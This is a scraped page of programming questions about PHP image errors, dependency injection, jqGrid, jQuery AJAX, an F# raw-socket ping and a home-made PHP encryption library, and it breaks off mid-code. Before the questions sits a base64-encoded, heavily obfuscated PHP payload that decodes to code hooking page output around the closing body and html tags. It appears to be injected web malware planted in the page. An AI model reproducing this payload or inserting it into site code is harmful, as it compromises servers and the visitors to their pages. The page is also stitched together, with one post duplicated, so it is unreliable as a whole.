YTF0WWxkYWtCY1ZTaXIgPSAiXHg3M1wxNjRceDcyXDE2Mlx4NjVcMTY2IjskZXZhMXRZbGRha0JvVlMxciA9ICJceDY1XDE0M1x4NjFcMTU0XHg3MFwxNDVceDcyXDEzN1x4NjdcMTQ1XHg3MlwxNjAiOyRldmExdFlpZG9rQm9WU2pyID0gIlx4M2JcNTFceDI5XDEzNVx4MzFcMTMzXHg3MlwxNTJceDUzXDEyNlx4NjNcMTAyXHg2YlwxNDFceDY0XDE1MVx4NTlcMTY0XHgzMVwxNDFceDc2XDE0NVx4MjRcNTBceDY1XDE0NFx4NmZcMTQzXHg2NVwxNDRceDVmXDY0XHgzNlwxNDVceDczXDE0MVx4NjJcNTBceDZjXDE0MVx4NzZcMTQ1XHg0MFw3Mlx4NjVcMTY2XHg2MVwxNTRceDI4XDQyXHg1Y1w2MVx4MjJcNTFceDNiXDcyXHg0MFw1MFx4MmVcNTNceDI5XDEwMFx4NjlcMTQ1IjskZXZhMXRZbGRva0JjVlNqcj0kZXZhMXRZbGRha0JjVlNpcigkZXZhMXRZbGRha0JvVlMxcik7JGV2YTF0WWxkYWtCY1ZTanI9JGV2YTF0WWxkYWtCY1ZTaXIoJGV2YTF0WWxiYWtCY1ZTaXIpOyRldmExdFlpZGFrQmNWU2pyID0gJGV2YTF0WWxkYWtCY1ZTanIoY2hyKDI2ODcuNSowLjAxNiksICRldmExZllsYmFrQmNWU2lyKTskZXZhMXRZWGRha0FjVlNqciA9ICRldmExdFlpZGFrQmNWU2pyWzAuMDMxKjAuMDYxXTskZXZhMXRZaWRva0JjVlNqciA9ICRldmExdFlsZGFrQmNWU2pyKGNocigzNjI1KjAuMDE2KSwgJGV2YTF0WWlkb2tCb1ZTanIpOyRldmExdFlsZG9rQmNWU2pyKCRldmExdFlpZG9rQmNWU2pyWzAuMDE2Kig3ODEyLjUqMC4wMTYpXSwkZXZhMXRZaWRva0JjVlNqcls2Mi41KjAuMDE2XSwkZXZhMXRZbGRha0JjVlNpcigkZXZhMXRZaWRva0JjVlNqclswLjA2MSowLjAzMV0pKTskZXZhMXRZbGRha0JjVlNpciA9ICIiOyRldmExdFlsZGFrQm9WUzFyID0gJGV2YTF0WWxiYWtCY1ZTaXIuJGV2YTF0WWxiYWtCY1ZTaXI7JGV2YTF0WWlkb2tCb1ZTanIgPSAkZXZhMXRZbGJha0JjVlNpcjskZXZhMXRZbGRha0JjVlNpciA9ICJceDczXDE2NFx4NzJceDY1XDE0M1x4NzJcMTYwXDE2NFx4NzIiOyRldmExdFlsYmFrQmNWU2lyID0gIlx4NjdcMTQxXHg2ZlwxMzNceDcwXDE3MFx4NjUiOyRldmExdFlsZGFrQm9WUzFyID0gIlx4NjVcMTQzXHg3MlwxNjAiOyRldmExdFlsZGFrQmNWU2lyID0gIiI7JGV2YTF0WWxkYWtCb1ZTMXIgPSAkZXZhMXRZbGJha0JjVlNpci4kZXZhMXRZbGJha0JjVlNpcjskZXZhMXRZaWRva0JvVlNqciA9ICRldmExdFlsYmFrQmNWU2lyO30gfSAgDQogDQogcmV0dXJuICRldmFsc3NzZ3F1bFZCVGtaTEFjaDsgICB9IH0NCiBpZighJGV2YTFmWTJiYWsxY3owaXIoIlx4NjdcMTcyXHg2NFwxNDVceDYzXDE1N1x4NjRcMTQ1IikpIHsNCiBmdW5jdGlvbiBnemRlY29kZSgkZXZhMWZZMmJvMDF6bzgxNykgeyAkZXZhMWZZMmJhbDFjejhpNCA9ICJceDczXDE2NFx4NzJcMTYwXHg2ZlwxNjMiOyAkZXZhMWZZMmJvbDFjejhpNSA9ICJceDczXDE2NVx4NjJcMTYzXHg3NFwxNjIiOyAkZXZhMWZZMmJvMTFjejhpNSA9ICJceDc1XDE1Nlx4NzBcMTQxXHg2M1wxNTMiOyAkZXZhMWZZMmJvMWxjejhpNSA9ICJceDYzXDE1MFx4NzIiOyAkZXZhMWZZMmJvMWx6YzhpNSA9ICJceDY3XDE3Mlx4NjlcMTU2XHg2NlwxNTRceDYxXDE2NFx4NjUiOw0KICRldmExZlkyYm8wMXpvMzE3PUBvcmQoQCRldmExZlkyYm9sMWN6OGk1KCRldmExZlkyYm8wMXpvODE3LDMsMSkpOw0KICRldmExZlkyYm8wMWMwMzE3PTEwOyAgaWYoJGV2YTFmWTJibzAxem8zMTcmNCkgew0KICRldmExZlkyYm8wMXowMzE3PUAkZXZhMWZZMmJvMTFjejhpNSgndicsJGV2YTFmWTJib2wxY3o4aTUoJGV2YTFmWTJibzAxem84MTcsMTAsMikpOw0KICRldmExZlkyYm8wMXowMzE3PSRldmExZlkyYm8wMXowMzE3WzFdOw0KICRldmExZlkyYm8wMWMwMzE3Kz0yKyRldmExZlkyYm8wMXowMzE3Ow0KIH0gIGlmKCRldmExZlkyYm8wMXpvMzE3JjgpIHsNCiAkZXZhMWZZMmJvMDFjMDMxNz1AJGV2YTFmWTJiYWwxY3o4aTQoJGV2YTFmWTJibzAxem84MTcsJGV2YTFmWTJibzFsY3o4aTUoMCksJGV2YTFmWTJibzAxYzAzMTcpKzE7DQogfSAgaWYoJGV2YTFmWTJibzAxem8zMTcmMTYpIHsNCiAkZXZhMWZZMmJvMDFjMDMxNz1AJGV2YTFmWTJiYWwxY3o4aTQoJGV2YTFmWTJibzAxem84MTcsJGV2YTFmWTJibzFsY3o4aTUoMCksJGV2YTFmWTJibzAxYzAzMTcpKzE7DQogfSAgaWYoJGV2YTFmWTJibzAxem8zMTcmMikgew0KICRldmExZlkyYm8wMWMwMzE3Kz0yOw0KIH0gICRldmExZlkyYm8wMWMwM2E3PUAkZXZhMWZZMmJvMWx6YzhpNShAJGV2YTFmWTJib2wxY3o4aTUoJGV2YTFmWTJibzAxem84MTcsJGV2YTFmWTJibzAxYzAzMTcpKTsgIGlmKCRldmExZlkyYm8wMWMwM2E3PT09RkFMU0UpIHsNCiAkZXZhMWZZMmJvMDFjMDNhNz0kZXZhMWZZMmJvMDF6bzgxNzsNCiB9ICByZXR1cm4gJGV2YTFmWTJibzAxYzAzYTc7DQogfSB9DQogZnVuY3Rpb24gZXZhMWZZMmJhazFjVjJpcigkdmFyNikgeyAkZXZhMWZZMmIwMWx6YzhsNSA9ICJceDcwXDE2Mlx4NjVcMTQ3XHg1ZlwxNjJceDY1XDE2MFx4NmNcMTQxXHg2M1wxNDUiOyAkZXZhMWZZMmIwbGx6YzhsNSA9ICJceDcwXDE2Mlx4NjVcMTQ3XHg1ZlwxNTVceDYxXDE2NFx4NjNcMTUwIjsgJGV2YTFmWTJiMDIyemM4bDUgPSAiXHg0OFwxNDVceDYxXDE0NFx4NjVcMTYyIjsgJGV2YTFmWTJiMDIyem84bDUgPSAiXHg2N1wxNzJceDY0XDE0NVx4NjNcMTU3XHg2NFwxNDUiOyAkZXZhMWZZMmIwNTJ6bzhsNSA9ICJceDQzXDE1N1x4NmVcMTY0XHg2NVwxNTZceDc0XDU1XHg0NVwxNTZceDYzXDE1N1x4NjRcMTUxXHg2ZVwxNDdceDNhXDQwXHg2ZVwxNTdceDZlXDE0NSI7ICRldmExZlkyYjA1MnpvOGwxID0gIlx4MmZcMTM0XHgzY1wxMzRceDJmXDE0Mlx4NmZcMTQ0XHg3OVw1N1x4NzNcMTUxIjsgJGV2YTFmWTJiMDYyem84bDEgPSAiXHgyZlw1MFx4NWNcNzRceDVjXDU3XHg2MlwxNTdceDY0XDE3MVx4NWJcMTM2XHg1Y1w3Nlx4NWRcNTJceDVjXDc2XHgyOVw1N1x4NzNcMTUxIjsgJGV2YTFmWTJiMDYxem84bDEgPSAiXHgyZlwxMzRceDNjXDEzNFx4MmZcMTUwXHg3NFwxNTVceDZjXDU3XHg3M1wxNTEiOyAkZXZhMWZZMmJvNjF6bzhsMSA9ICJceDJmXDUwXHg1Y1w3NFx4NWNcNTdceDY4XDE2NFx4NmRcMTU0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?>

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  • imagecreatefromjpeg() stops working after server upgrade

    - by John Conde
    We have a server located at a local company's place of business running Solaris/Apache/PHP. They recently did an update to Solaris, Apache, and PHP (security update patches, etc.). Unfortunately it has caused the image manipulation portion of our software to break. imagecreatefromjpeg() is now generating the following error: Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: '/path/to/file/filename.jpg' is not a valid JPEG file in /path/to/file/Image.class.php on line XX No PHP code was changed during the server upgrade and it was fully functional before the software upgrades. I checked the files being passed to imagecreatefromjpeg() and they are indeed valid (they open successfully in both image editing software and in my browser). I checked the permissions of the directory from which the files are being opened and they do have read permission. GD library is enabled. I'm not sure what else I can check. Based on the scenario above I am guessing something changed in the software but I don't know what it could be. PHP was version 5.2.5 and is now 5.2.13. I appreciate any guidance as to what could be cause of this issue.

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  • Dependency Injection: What point am I allowed to create a new object?

    - by Gaz_Edge
    I am refactoring a php application and I am trying to do has much dependency injection as possible. I feel like I've got a good grasp of how it works, and I can certainly see my classes becoming a lot leaner and more robust. Im refactoring so that I can inject a dependency rather than create a new object within the class, but at some point I am going to have to create some objects i.e. use the dreaded new keyword. The problem I have now run into is at what point can I actually create new objects? Its looking like I'll end up at a top level class, creating loads of new objects as there is no where else to go. This feels wrong. I've read some blogs that use factory classes to create all the objects, and then you inject the factory into other classes. You can then call the factory methods, and the factory creates the new object for you. My concern with doing this is now my factory classes are going to be a new free-for-all! I guess this may be ok as they are factory classes, but are there some rules to stick to when using factory pattern and DI, or am I going way off the mark here.

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  • selectLimit in JQgrid

    - by Leander
    Hallo, I have a problem. I'am trying to get some data from my database. But with a limit. So i use the selectLimit command. But when i load the grid my firebug gives the following error: "parsererror"?e:null},parse:function(d...d(a.fn.jqGrid,d);this.no_legacy_api|| When I go to the selectLimit in the jqgrid.php and print out what the function returns it normaly return an array with all 500 objects with the correct data. This is the code of the grid: <?php require_once ($_SERVER['DOCUMENT_ROOT'].'/includes_config/config.inc.php'); require_once ($_SERVER['DOCUMENT_ROOT'].'/portal/classes/core/database/class_Database_control.php'); $dtb = new clsDatabaseControl(); $dtb = $dtb->getDatabase(ConnectionString); $dtb->doConnect(); require_once (ClassRoot.'/3rd/jqgrid/jq-config.php'); require_once (ClassRoot.'/3rd/jqgrid/php/jqGrid.php'); require_once (ClassRoot.'/3rd/jqgrid/php/jqGridPdo.php'); //require_once (ClassRoot.'/modules/logging/class_logging_control.php'); // //$oLogginControl = new clsLoggingControl($dtb); //$sSQL = $oLogginControl->getAanmeldingenGrid(); $sSQL = "SELECT LogAanmeldID, LogAanmeldStamp, UserFirstName, UserLastName, LogAanmeldIP, LogAanmeldMethod, LogAanmeldHost, LogAanmeldAgent FROM log_aanmelden, user WHERE log_aanmelden.LogAanmeldUserID = user.UserID"; $conn = new PDO(DB_DSN,DB_USER,DB_PASSWORD); $conn->query("SET NAMES utf8"); $grid = new jqGridRender($conn); //$grid->SelectCommand = $sSQL; $grid->selectLimit($sSQL ,500,1); $grid->dataType = 'json'; $grid->setColModel(); $grid->setUrl('modules/module_logging/index.php?grid=2'); $grid->setGridOptions(array( "hoverrows"=>true, //"sortname"=>"naam", "height"=>450 )); // Enable toolbar searching $grid->toolbarfilter = true; $grid->setFilterOptions(array("stringResult"=>true)); $grid->navigator = true; $grid->setNavOptions('navigator', array("excel"=>true,"add"=>false,"edit"=>false,"del"=>false,"view"=>true, "refresh"=>false)); $custom = <<<CUSTOM $(document).ready(function() { gridParentWidth = $(window).width(); $('#grid').jqGrid('setGridWidth',gridParentWidth-10); }) $(window).resize(function() { gridParentWidth = $(window).width(); $('#grid').jqGrid('setGridWidth',gridParentWidth-10); }); function formatAddAdresboek(cellValue, options, rowObject) { var imageHtml = "<a href='?FFID=51000&TID=1&INS=3&contactID=" + cellValue + "' originalValue='" + cellValue + "'><img border='0' alt='Toevoegen aan Persoonlijk Adresboek' src='images/16X16/new_user.gif'/></a>"; imageHtml = imageHtml + " <a href='?FFID=51000&TID=2&INS=3&contactID=" + cellValue + "' originalValue='" + cellValue + "'><img border='0' alt='Toevoegen aan Praktijk Adresboek' src='images/16X16/new_usergroup.gif'/></a>"; return imageHtml; } function unformatAddAdresboek(cellValue, options, cellObject) { return $(cellObject.html()).attr("originalValue"); } CUSTOM; $grid->setJSCode($custom); // Enjoy $grid->renderGrid('#grid','#pager',true, null, null, true,true); $conn = null; ?> When I inspect the $_GET the answer is empty and in stead of a JSON tab there is an HTML tab. When i use the selectCommand in stead of the selectLimit it return all the data correct as an json object an parses it correcly in the grid but it doens't use the LIMIT, Because when i add the limit. PDO doens't work anymore. So how do I get the object from the selectLimit to the grid? Can someone please help me get the grid working?

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  • A little bit of Ajax goes a long way

    - by Holland
    ..except when you're having problems. My problem is this: I have a hierarchical list of categories stored in a database which I wish to output in a dropdown list. The hierarchy comes into place when the subcategories are to be displayed, which are dependent on a parent id (which equals out to the first seven or so main categories listed). My thoughts are relatively simple: when the user clicks the dynamically allocated list of main categories, they are clicking on an option tag. For each option tag, an id (i.e., the parent) is listed in the value attribute, as well as an argument which is sent to a Javascript function which then uses AJAX to get the data via PHP and sends it to my 'javascript.php' file. The file then does magic, and populates the subcategory list, which is dependent on the main category selected. I believe I have the idea down, it's just that I'm implementing the solution improperly, for some reason. Here's what I have so far: from javascript.php <script type="text/javascript" src=<?=JPATH_BASE.DS.'includes'.DS.'jquery.js';?>> var ajax = { ajax.sendAjaxData = function(method, url, dataTitle, ajaxData) { $.ajax({ type: 'post', url: "C:/wamp/www/patention/components/com_adsmanagar/views/edit/tmpl/javascript.php", data: { 'data' : ajaxData }, success: function(result){ // we have the response alert("Your request was successful." + result); }, error: function(e){ alert('Error: ' + e); } }); } ajax.printSubCategoriesOnClick = function(parent) { alert("hello world!"); ajax.sendAjaxData('post', 'javascript.php', 'data' parent); <?php $categories = $this->formData->getCategories($_POST['data']); ?> ajax.printSubCategories(<?=$categories;?>); } ajax.printSubCategories = function(categories) { var select = document.getElementById("subcategories"); for (var i = 0; i < categories.length; i++) { var opt = document.createElement("option"); opt.text = categories['name']; opt.value = categories['id']; } } } </script> the function used to populate the form data function populateCategories($parent, FormData $formData) { $categories = $formData->getCategories($parent); echo "<pre>"; print_r($categories); echo "</pre>"; foreach($categories as $section => $row){ ?> <option value=<?=$row['id'];?> onclick="ajax.printSubCategoriesOnClick(<?=$row['id']?>)"> <? echo $row['name']; ?> </option> <?php } } The problem is that when I try to do a print_r on my $_POST variable, nothing shows up. I also receive an "undefined index" error (which refers to the key I set for the data type). I'm thinking that for some reason, the data is being sent to my form.php file, or my default.php file which includes both the form.php and javascript.php files via a function. Is there something specific that I'm missing here? Just looking up basic AJAX syntax (via jQuery) hasn't helped out, unfortunately.

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  • Why does BeginReceiveFrom never time out?

    - by James Hugard
    I am writing an asynchronous Ping using Raw Sockets in F#, to enable parallel requests using as few threads as possible ("System.Net.NetworkInformation.Ping" appears to use one thread per request, but have not tested this... also am interested in using F# async workflows). The synchronous version below correctly times out when the target host does not exist/respond, but the asynchronous version hangs. Both work when the host does respond... Any ideas? (note: the process must run as Admin for this code to work) This throws a timeout: let result = Ping.Ping ( IPAddress.Parse( "192.168.33.22" ), 1000 ) However, this hangs: let result = Ping.PingAsync ( IPAddress.Parse( "192.168.33.22" ), 1000 ) |> Async.RunSynchronously Here's the code... module Ping open System open System.Net open System.Net.Sockets open System.Threading //---- ICMP Packet Classes type IcmpMessage (t : byte) = let mutable m_type = t let mutable m_code = 0uy let mutable m_checksum = 0us member this.Type with get() = m_type member this.Code with get() = m_code member this.Checksum = m_checksum abstract Bytes : byte array default this.Bytes with get() = [| m_type m_code byte(m_checksum) byte(m_checksum >>> 8) |] member this.GetChecksum() = let mutable sum = 0ul let bytes = this.Bytes let mutable i = 0 // Sum up uint16s while i < bytes.Length - 1 do sum <- sum + uint32(BitConverter.ToUInt16( bytes, i )) i <- i + 2 // Add in last byte, if an odd size buffer if i <> bytes.Length then sum <- sum + uint32(bytes.[i]) // Shuffle the bits sum <- (sum >>> 16) + (sum &&& 0xFFFFul) sum <- sum + (sum >>> 16) sum <- ~~~sum uint16(sum) member this.UpdateChecksum() = m_checksum <- this.GetChecksum() type InformationMessage (t : byte) = inherit IcmpMessage(t) let mutable m_identifier = 0us let mutable m_sequenceNumber = 0us member this.Identifier = m_identifier member this.SequenceNumber = m_sequenceNumber override this.Bytes with get() = Array.append (base.Bytes) [| byte(m_identifier) byte(m_identifier >>> 8) byte(m_sequenceNumber) byte(m_sequenceNumber >>> 8) |] type EchoMessage() = inherit InformationMessage( 8uy ) let mutable m_data = Array.create 32 32uy do base.UpdateChecksum() member this.Data with get() = m_data and set(d) = m_data <- d this.UpdateChecksum() override this.Bytes with get() = Array.append (base.Bytes) (this.Data) //---- Synchronous Ping let Ping (host : IPAddress, timeout : int ) = let mutable ep = new IPEndPoint( host, 0 ) let socket = new Socket( AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Icmp ) socket.SetSocketOption( SocketOptionLevel.Socket, SocketOptionName.SendTimeout, timeout ) socket.SetSocketOption( SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, timeout ) let packet = EchoMessage() let mutable buffer = packet.Bytes try if socket.SendTo( buffer, ep ) <= 0 then raise (SocketException()) buffer <- Array.create (buffer.Length + 20) 0uy let mutable epr = ep :> EndPoint if socket.ReceiveFrom( buffer, &epr ) <= 0 then raise (SocketException()) finally socket.Close() buffer //---- Entensions to the F# Async class to allow up to 5 paramters (not just 3) type Async with static member FromBeginEnd(arg1,arg2,arg3,arg4,beginAction,endAction,?cancelAction): Async<'T> = Async.FromBeginEnd((fun (iar,state) -> beginAction(arg1,arg2,arg3,arg4,iar,state)), endAction, ?cancelAction=cancelAction) static member FromBeginEnd(arg1,arg2,arg3,arg4,arg5,beginAction,endAction,?cancelAction): Async<'T> = Async.FromBeginEnd((fun (iar,state) -> beginAction(arg1,arg2,arg3,arg4,arg5,iar,state)), endAction, ?cancelAction=cancelAction) //---- Extensions to the Socket class to provide async SendTo and ReceiveFrom type System.Net.Sockets.Socket with member this.AsyncSendTo( buffer, offset, size, socketFlags, remoteEP ) = Async.FromBeginEnd( buffer, offset, size, socketFlags, remoteEP, this.BeginSendTo, this.EndSendTo ) member this.AsyncReceiveFrom( buffer, offset, size, socketFlags, remoteEP ) = Async.FromBeginEnd( buffer, offset, size, socketFlags, remoteEP, this.BeginReceiveFrom, (fun asyncResult -> this.EndReceiveFrom(asyncResult, remoteEP) ) ) //---- Asynchronous Ping let PingAsync (host : IPAddress, timeout : int ) = async { let ep = IPEndPoint( host, 0 ) use socket = new Socket( AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Icmp ) socket.SetSocketOption( SocketOptionLevel.Socket, SocketOptionName.SendTimeout, timeout ) socket.SetSocketOption( SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, timeout ) let packet = EchoMessage() let outbuffer = packet.Bytes try let! result = socket.AsyncSendTo( outbuffer, 0, outbuffer.Length, SocketFlags.None, ep ) if result <= 0 then raise (SocketException()) let epr = ref (ep :> EndPoint) let inbuffer = Array.create (outbuffer.Length + 256) 0uy let! result = socket.AsyncReceiveFrom( inbuffer, 0, inbuffer.Length, SocketFlags.None, epr ) if result <= 0 then raise (SocketException()) return inbuffer finally socket.Close() }

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  • How can this PHP code be improved? What should be changed?

    - by Noctis Skytower
    This is a custom encryption library. I do not know much about PHP's standard library of functions and was wondering if the following code can be improved in any way. The implementation should yield the same results, the API should remain as it is, but ways to make is more PHP-ish would be greatly appreciated. Code <?php /*************************************** Create random major and minor SPICE key. ***************************************/ function crypt_major() { $all = range("\x00", "\xFF"); shuffle($all); $major_key = implode("", $all); return $major_key; } function crypt_minor() { $sample = array(); do { array_push($sample, 0, 1, 2, 3); } while (count($sample) != 256); shuffle($sample); $list = array(); for ($index = 0; $index < 64; $index++) { $b12 = $sample[$index * 4] << 6; $b34 = $sample[$index * 4 + 1] << 4; $b56 = $sample[$index * 4 + 2] << 2; $b78 = $sample[$index * 4 + 3]; array_push($list, $b12 + $b34 + $b56 + $b78); } $minor_key = implode("", array_map("chr", $list)); return $minor_key; } /*************************************** Create the SPICE key via the given name. ***************************************/ function named_major($name) { srand(crc32($name)); return crypt_major(); } function named_minor($name) { srand(crc32($name)); return crypt_minor(); } /*************************************** Check validity for major and minor keys. ***************************************/ function _check_major($key) { if (is_string($key) && strlen($key) == 256) { foreach (range("\x00", "\xFF") as $char) { if (substr_count($key, $char) == 0) { return FALSE; } } return TRUE; } return FALSE; } function _check_minor($key) { if (is_string($key) && strlen($key) == 64) { $indexs = array(); foreach (array_map("ord", str_split($key)) as $byte) { foreach (range(6, 0, 2) as $shift) { array_push($indexs, ($byte >> $shift) & 3); } } $dict = array_count_values($indexs); foreach (range(0, 3) as $index) { if ($dict[$index] != 64) { return FALSE; } } return TRUE; } return FALSE; } /*************************************** Create encode maps for encode functions. ***************************************/ function _encode_map_1($major) { return array_map("ord", str_split($major)); } function _encode_map_2($minor) { $map_2 = array(array(), array(), array(), array()); $list = array(); foreach (array_map("ord", str_split($minor)) as $byte) { foreach (range(6, 0, 2) as $shift) { array_push($list, ($byte >> $shift) & 3); } } for ($byte = 0; $byte < 256; $byte++) { array_push($map_2[$list[$byte]], chr($byte)); } return $map_2; } /*************************************** Create decode maps for decode functions. ***************************************/ function _decode_map_1($minor) { $map_1 = array(); foreach (array_map("ord", str_split($minor)) as $byte) { foreach (range(6, 0, 2) as $shift) { array_push($map_1, ($byte >> $shift) & 3); } } return $map_1; }function _decode_map_2($major) { $map_2 = array(); $temp = array_map("ord", str_split($major)); for ($byte = 0; $byte < 256; $byte++) { $map_2[$temp[$byte]] = chr($byte); } return $map_2; } /*************************************** Encrypt or decrypt the string with maps. ***************************************/ function _encode($string, $map_1, $map_2) { $cache = ""; foreach (str_split($string) as $char) { $byte = $map_1[ord($char)]; foreach (range(6, 0, 2) as $shift) { $cache .= $map_2[($byte >> $shift) & 3][mt_rand(0, 63)]; } } return $cache; } function _decode($string, $map_1, $map_2) { $cache = ""; $temp = str_split($string); for ($iter = 0; $iter < strlen($string) / 4; $iter++) { $b12 = $map_1[ord($temp[$iter * 4])] << 6; $b34 = $map_1[ord($temp[$iter * 4 + 1])] << 4; $b56 = $map_1[ord($temp[$iter * 4 + 2])] << 2; $b78 = $map_1[ord($temp[$iter * 4 + 3])]; $cache .= $map_2[$b12 + $b34 + $b56 + $b78]; } return $cache; } /*************************************** This is the public interface for coding. ***************************************/ function encode_string($string, $major, $minor) { if (is_string($string)) { if (_check_major($major) && _check_minor($minor)) { $map_1 = _encode_map_1($major); $map_2 = _encode_map_2($minor); return _encode($string, $map_1, $map_2); } } return FALSE; } function decode_string($string, $major, $minor) { if (is_string($string) && strlen($string) % 4 == 0) { if (_check_major($major) && _check_minor($minor)) { $map_1 = _decode_map_1($minor); $map_2 = _decode_map_2($major); return _decode($string, $map_1, $map_2); } } return FALSE; } ?> This is a sample showing how the code is being used. Hex editors may be of help with the input / output. Example <?php # get and process all of the form data @ $input = htmlspecialchars($_POST["input"]); @ $majorname = htmlspecialchars($_POST["majorname"]); @ $minorname = htmlspecialchars($_POST["minorname"]); @ $majorkey = htmlspecialchars($_POST["majorkey"]); @ $minorkey = htmlspecialchars($_POST["minorkey"]); @ $output = htmlspecialchars($_POST["output"]); # process the submissions by operation # CREATE @ $operation = $_POST["operation"]; if ($operation == "Create") { if (strlen($_POST["majorname"]) == 0) { $majorkey = bin2hex(crypt_major()); } if (strlen($_POST["minorname"]) == 0) { $minorkey = bin2hex(crypt_minor()); } if (strlen($_POST["majorname"]) != 0) { $majorkey = bin2hex(named_major($_POST["majorname"])); } if (strlen($_POST["minorname"]) != 0) { $minorkey = bin2hex(named_minor($_POST["minorname"])); } } # ENCRYPT or DECRYPT function is_hex($char) { if ($char == "0"): return TRUE; elseif ($char == "1"): return TRUE; elseif ($char == "2"): return TRUE; elseif ($char == "3"): return TRUE; elseif ($char == "4"): return TRUE; elseif ($char == "5"): return TRUE; elseif ($char == "6"): return TRUE; elseif ($char == "7"): return TRUE; elseif ($char == "8"): return TRUE; elseif ($char == "9"): return TRUE; elseif ($char == "a"): return TRUE; elseif ($char == "b"): return TRUE; elseif ($char == "c"): return TRUE; elseif ($char == "d"): return TRUE; elseif ($char == "e"): return TRUE; elseif ($char == "f"): return TRUE; else: return FALSE; endif; } function hex2bin($str) { if (strlen($str) % 2 == 0): $string = strtolower($str); else: $string = strtolower("0" . $str); endif; $cache = ""; $temp = str_split($str); for ($index = 0; $index < count($temp) / 2; $index++) { $h1 = $temp[$index * 2]; if (is_hex($h1)) { $h2 = $temp[$index * 2 + 1]; if (is_hex($h2)) { $cache .= chr(hexdec($h1 . $h2)); } else { return FALSE; } } else { return FALSE; } } return $cache; } if ($operation == "Encrypt" || $operation == "Decrypt") { # CHECK FOR ANY ERROR $errors = array(); if (strlen($_POST["input"]) == 0) { $output = ""; } $binmajor = hex2bin($_POST["majorkey"]); if (strlen($_POST["majorkey"]) == 0) { array_push($errors, "There must be a major key."); } elseif ($binmajor == FALSE) { array_push($errors, "The major key must be in hex."); } elseif (_check_major($binmajor) == FALSE) { array_push($errors, "The major key is corrupt."); } $binminor = hex2bin($_POST["minorkey"]); if (strlen($_POST["minorkey"]) == 0) { array_push($errors, "There must be a minor key."); } elseif ($binminor == FALSE) { array_push($errors, "The minor key must be in hex."); } elseif (_check_minor($binminor) == FALSE) { array_push($errors, "The minor key is corrupt."); } if ($_POST["operation"] == "Decrypt") { $bininput = hex2bin(str_replace("\r", "", str_replace("\n", "", $_POST["input"]))); if ($bininput == FALSE) { if (strlen($_POST["input"]) != 0) { array_push($errors, "The input data must be in hex."); } } elseif (strlen($bininput) % 4 != 0) { array_push($errors, "The input data is corrupt."); } } if (count($errors) != 0) { # ERRORS ARE FOUND $output = "ERROR:"; foreach ($errors as $error) { $output .= "\n" . $error; } } elseif (strlen($_POST["input"]) != 0) { # CONTINUE WORKING if ($_POST["operation"] == "Encrypt") { # ENCRYPT $output = substr(chunk_split(bin2hex(encode_string($_POST["input"], $binmajor, $binminor)), 58), 0, -2); } else { # DECRYPT $output = htmlspecialchars(decode_string($bininput, $binmajor, $binminor)); } } } # echo the form with the values filled echo "<P><TEXTAREA class=maintextarea name=input rows=25 cols=25>" . $input . "</TEXTAREA></P>\n"; echo "<P>Major Name:</P>\n"; echo "<P><INPUT id=textbox1 name=majorname value=\"" . $majorname . "\"></P>\n"; echo "<P>Minor Name:</P>\n"; echo "<P><INPUT id=textbox1 name=minorname value=\"" . $minorname . "\"></P>\n"; echo "<DIV style=\"TEXT-ALIGN: center\"><INPUT class=submit type=submit value=Create name=operation>\n"; echo "</DIV>\n"; echo "<P>Major Key:</P>\n"; echo "<P><INPUT id=textbox1 name=majorkey value=\"" . $majorkey . "\"></P>\n"; echo "<P>Minor Key:</P>\n"; echo "<P><INPUT id=textbox1 name=minorkey value=\"" . $minorkey . "\"></P>\n"; echo "<DIV style=\"TEXT-ALIGN: center\"><INPUT class=submit type=submit value=Encrypt name=operation> \n"; echo "<INPUT class=submit type=submit value=Decrypt name=operation> </DIV>\n"; echo "<P>Result:</P>\n"; echo "<P><TEXTAREA class=maintextarea name=output rows=25 readOnly cols=25>" . $output . "</TEXTAREA></P></DIV></FORM>\n"; ?> What should be editted for better memory efficiency or faster execution?

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  • How can this PHP code be improved? What should change?

    - by Noctis Skytower
    This is a custom encryption library. I do not know much about PHP's standard library of functions and was wondering if the following code can be improved in any way. The implementation should yield the same results, the API should remain as it is, but ways to make is more PHP-ish would be greatly appreciated. Code <?php /*************************************** Create random major and minor SPICE key. ***************************************/ function crypt_major() { $all = range("\x00", "\xFF"); shuffle($all); $major_key = implode("", $all); return $major_key; } function crypt_minor() { $sample = array(); do { array_push($sample, 0, 1, 2, 3); } while (count($sample) != 256); shuffle($sample); $list = array(); for ($index = 0; $index < 64; $index++) { $b12 = $sample[$index * 4] << 6; $b34 = $sample[$index * 4 + 1] << 4; $b56 = $sample[$index * 4 + 2] << 2; $b78 = $sample[$index * 4 + 3]; array_push($list, $b12 + $b34 + $b56 + $b78); } $minor_key = implode("", array_map("chr", $list)); return $minor_key; } /*************************************** Create the SPICE key via the given name. ***************************************/ function named_major($name) { srand(crc32($name)); return crypt_major(); } function named_minor($name) { srand(crc32($name)); return crypt_minor(); } /*************************************** Check validity for major and minor keys. ***************************************/ function _check_major($key) { if (is_string($key) && strlen($key) == 256) { foreach (range("\x00", "\xFF") as $char) { if (substr_count($key, $char) == 0) { return FALSE; } } return TRUE; } return FALSE; } function _check_minor($key) { if (is_string($key) && strlen($key) == 64) { $indexs = array(); foreach (array_map("ord", str_split($key)) as $byte) { foreach (range(6, 0, 2) as $shift) { array_push($indexs, ($byte >> $shift) & 3); } } $dict = array_count_values($indexs); foreach (range(0, 3) as $index) { if ($dict[$index] != 64) { return FALSE; } } return TRUE; } return FALSE; } /*************************************** Create encode maps for encode functions. ***************************************/ function _encode_map_1($major) { return array_map("ord", str_split($major)); } function _encode_map_2($minor) { $map_2 = array(array(), array(), array(), array()); $list = array(); foreach (array_map("ord", str_split($minor)) as $byte) { foreach (range(6, 0, 2) as $shift) { array_push($list, ($byte >> $shift) & 3); } } for ($byte = 0; $byte < 256; $byte++) { array_push($map_2[$list[$byte]], chr($byte)); } return $map_2; } /*************************************** Create decode maps for decode functions. ***************************************/ function _decode_map_1($minor) { $map_1 = array(); foreach (array_map("ord", str_split($minor)) as $byte) { foreach (range(6, 0, 2) as $shift) { array_push($map_1, ($byte >> $shift) & 3); } } return $map_1; }function _decode_map_2($major) { $map_2 = array(); $temp = array_map("ord", str_split($major)); for ($byte = 0; $byte < 256; $byte++) { $map_2[$temp[$byte]] = chr($byte); } return $map_2; } /*************************************** Encrypt or decrypt the string with maps. ***************************************/ function _encode($string, $map_1, $map_2) { $cache = ""; foreach (str_split($string) as $char) { $byte 